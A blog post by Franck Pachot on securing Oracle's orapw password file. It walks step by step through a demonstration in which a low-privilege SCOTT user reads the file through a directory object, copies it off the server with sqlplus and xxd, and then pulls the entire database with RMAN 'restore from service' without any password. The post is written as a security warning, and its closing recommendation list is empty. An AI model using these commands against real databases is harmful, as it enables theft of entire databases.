{ "date": "2018-01-05T12:02:45", "slug": "keep-your-orapw-password-file-secure", "link": "https://www.dbi-services.com/blog/keep-your-orapw-password-file-secure/", "title": { "rendered": "Keep your orapw password file secure" }, "content": { "rendered": "

By Franck Pachot

\n

.
\nThis is a small demo I did when I’ve found a database password file (orapw) lying around in /tmp with -rw-rw-rw- permissions, to show how this is a bad idea. People think that the orapw file only contains hashes to validate a password given, and forget that it can be used to connect to a remote database without password.
\n
\nI can easily imagine why the orapwd was there in /tmp. To build a standby database, you need to copy the password file to the standby server. If you don’t have direct access to the oracle user, but only a sudo access for ‘security reasons’, you can’t scp easily. Then you copy the file to /tmp, make it readable by all users, and you can scp with your user.

\n

In this demo I don’t even have access to the host. I’ve only access to connect to a PDB with the SCOTT users, reated with utlsampl.sql, with those additional privileges, a read access on $ORACLE_HOME/dbs:

\n
\nSQL> connect sys/oracle@//192.168.56.122/PDB1 as sysdba\nConnected.\n \nSQL> create or replace directory DBS as '/u01/app/oracle/product/12.2.0/dbhome_1/dbs';\nDirectory DBS created.\n \nSQL> grant read on directory DBS to SCOTT;\nGrant succeeded.\n
\n

People tend to grant many privileges, and think that a read access on a directory which is supposed to contain only configuration files is harmless. Let’s see what you can do from another server.

\n

Get the orapw file from a remote connection

\n

I connect with SCOTT which can read from ORACLE_HOME/dbs:

\n
\nSQL> connect scott/tiger@//192.168.56.122/PDB1\nConnected.\n \nSQL> show user\nUSER is \"SCOTT\"\n \nSQL> select * from all_directories;\n \nOWNER   DIRECTORY_NAME   DIRECTORY_PATH                                  ORIGIN_CON_ID\n-----   --------------   --------------                                  -------------\nSYS     DBS              /u01/app/oracle/product/12.2.0/dbhome_1/dbs                 4\n
\n

I create a table to read this file (other possibilities utl_tile, external tables,…):

\n
\nSQL> create table DEMO ( b blob );\nTable DEMO created.\n \nSQL> insert into demo values ( bfilename('DBS','orapwCDB1') );\n1 row inserted.\n
\n

I’m on another server with the same version of Oracle Database software installed.

\n

I use sqlplus to retrieve the server file to my client:

\n
\nsqlplus -s scott/tiger@//192.168.56.122/PDB1 <<EOF |xxd -p -r > $ORACLE_HOME/dbs/orapwCDB1\nset pages 0 lin 17000 long 1000000000 longc 16384\nselect * from DEMO;\nexit\nEOF\n
\n

This (documented by Laurent Schneider) uses sqlplus to display the BLOB variable as hexadecimal code and xdd (installed with vim-common) to revert it to binary.

\n

So, on my server I have a copy of the database password file for the database I want to steal:

\n
\n[oracle@VM122 ~]$ strings /u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapwCDB1\n \nORACLE Remote Password file\nX)l)|\nSYSDG\n+933k\nSYSBACKUP\nf       ts6 $9\nSYSKM\n
\n

Pull

\n

A nice feature of 12c is the ability to pull backups from a service. With this, it is the destination that connects to the source. I have diagrams to explain here). It is an easy alternative to RMAN DUPLICATE (see MOS Doc ID 2283978.1 Creating a Physical Standby database using RMAN restore from service). And one difference is that you don’t have to provide the password:

\n

I prepare a small init.ora and directory for the datafiles

\n
\necho \"db_name=CDB1\" > $ORACLE_HOME/dbs/initCDB1.ora\n \nmkdir -p /u01/oradata/CDB1\n
\n

I’m still on my server with the copy of the remote orapw file and a network access to the source database and I just restore it, without the need for a password:

\n
\nRMAN> connect target /\nconnected to target database (not started)\n
\n

I start a local instance:

\n
\nRMAN> startup nomount force\nOracle instance started\n \nTotal System Global Area     859832320 bytes\nFixed Size                     8798552 bytes\nVariable Size                784338600 bytes\nDatabase Buffers              58720256 bytes\nRedo Buffers                   7974912 bytes\n
\n

I restore the controlfile:

\n
\nRMAN> restore controlfile from service '//192.168.56.122/CDB1';\nStarting restore at 05-JAN-18\nusing target database control file instead of recovery catalog\nallocated channel: ORA_DISK_1\nchannel ORA_DISK_1: SID=262 device type=DISK\nchannel ORA_DISK_1: starting datafile backup set restore\nchannel ORA_DISK_1: using network backup set from service //192.168.56.122/CDB1\nchannel ORA_DISK_1: restoring control file\nchannel ORA_DISK_1: restore complete, elapsed time: 00:00:02\noutput file name=/u01/oradata/CDB1/control01.ctl\noutput file name=/u01/fast_recovery_area/CDB1/control02.ctl\nFinished restore at 05-JAN-18\n
\n

That’s the interesting part because it has to be connected, at least as SYSOPER, to the source database but I didn’t provide any password.

\n

I mount this controlfile locally:

\n
\nRMAN> alter database mount;\nStatement processed\n \nreleased channel: ORA_DISK_1\n
\n

And now it is easy to pull the whole database (the CDB with all its PDBs) to my local server:

\n
\nRMAN> restore database from service '//192.168.56.122/CDB1';\nStarting restore at 05-JAN-18\nStarting implicit crosscheck backup at 05-JAN-18\nallocated channel: ORA_DISK_1\nchannel ORA_DISK_1: SID=262 device type=DISK\nCrosschecked 6 objects\nFinished implicit crosscheck backup at 05-JAN-18\nStarting implicit crosscheck copy at 05-JAN-18\nusing channel ORA_DISK_1\nFinished implicit crosscheck copy at 05-JAN-18\nsearching for all files in the recovery area\ncataloging files...\ncataloging done\n \nList of Cataloged Files\n=======================\nFile Name: /u01/fast_recovery_area/CDB1/autobackup/2018_01_04/o1_mf_s_964524009_f4vzyt59_.bkp\nFile Name: /u01/fast_recovery_area/CDB1/archivelog/2018_01_04/o1_mf_1_15_f4w5vv19_.arc\nFile Name: /u01/fast_recovery_area/CDB1/archivelog/2018_01_04/o1_mf_1_16_f4wmm0t8_.arc\nFile Name: /u01/fast_recovery_area/CDB1/archivelog/2018_01_04/o1_mf_1_14_f4vzjdl1_.arc\nusing channel ORA_DISK_1\nchannel ORA_DISK_1: starting datafile backup set restore\nchannel ORA_DISK_1: using network backup set from service //192.168.56.122/CDB1\nchannel ORA_DISK_1: specifying datafile(s) to restore from backup set\nchannel ORA_DISK_1: restoring datafile 00001 to /u01/oradata/CDB1/system01.dbf\nchannel ORA_DISK_1: restore complete, elapsed time: 00:00:16\nchannel ORA_DISK_1: starting datafile backup set restore\n...\n
\n

So what?

\n

This is not an issue and is totally expected. In a Data Guard configuration, the primary and standby database have to communicate with each others and then need a passwordless authentication. This is done with the password file, and this is the reason why you need to copy it rather than just create another one with the same passwords.

\n

So, there is more than just a hash of the password (which is required to validate a password) and probably includes a key (randomly generated when you create the password file) used for passwordless authentication.

\n

Then, be careful, and do not give read access to the orapw files. You must secure them in the same way as a ssh key or an encryption wallet. and this include:

\n\n", "protected": false } }